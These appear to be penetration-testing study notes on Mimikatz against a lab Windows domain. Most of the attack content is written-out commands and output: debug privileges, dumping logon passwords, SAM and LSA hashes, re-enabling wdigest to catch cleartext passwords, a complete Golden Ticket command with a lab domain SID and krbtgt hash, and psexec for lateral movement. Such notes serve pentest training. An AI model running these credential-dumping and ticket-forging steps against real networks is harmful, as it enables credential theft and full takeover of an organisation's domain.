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Mimikatz

  • Once we get Domain Admin we can use mimikatz to dump the creds

  • Launch mimikatz from the target and run privilege::debug (will allow us to debug processes):

    C:\Users\Administrator\Downloads>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x86) #19041 Aug 10 2021 17:20:39
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz #

  • Can be useful on a compromised regular computer sekurlsa::logonpasswords we get NTLM (v1) hash and could try to use pass-the-hash.

    • With wdigest we can see passwords in cleartext (prior to win 7) after only deactivate so possible to reactivate it with mimikats and wait for somebody to log on.

    • Dump the sam lsadump::sam or lsadump::sam /patch

    • Dump lsa (Local Security Authority) lsadump::lsa /patch we get ntlm hashes and try to crack them.

Mimikatz - Golden Ticket Attack

  • With a Golden ticket we can get access to any resource and system on the domain = complete access to the entire domain

  • lsadump::lsa /inject /name:krbtgt

  • Take note of:

    • Domain SID: S-1-5-21-1324315119-2624990979-1304259423

    • NTLM Hash of krbtgt: 0afd880b6c9c7207067f0e15dab634a9

  • Pass the ticket: kerberos::golden /User:AnyDoesNotNeedToExist /domain:marvel.local /sid:S-1-5-21-1324315119-2624990979-1304259423 /krbtgt:0afd880b6c9c7207067f0e15dab634a9 /id:500 /ptt

  • Get a cmd prmpt using the session and golden ticket misc::cmd

  • We can access to anything on the network:

  • We can then use psexec to get a shell on a machine from the network

    • We download psexec on our compromised machine

    • We get the shell

Mimikatz - Resources

LogoGitHub - gentilkiwi/mimikatz: A little tool to play with Windows securityGitHub
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Mimikatz - Wiki
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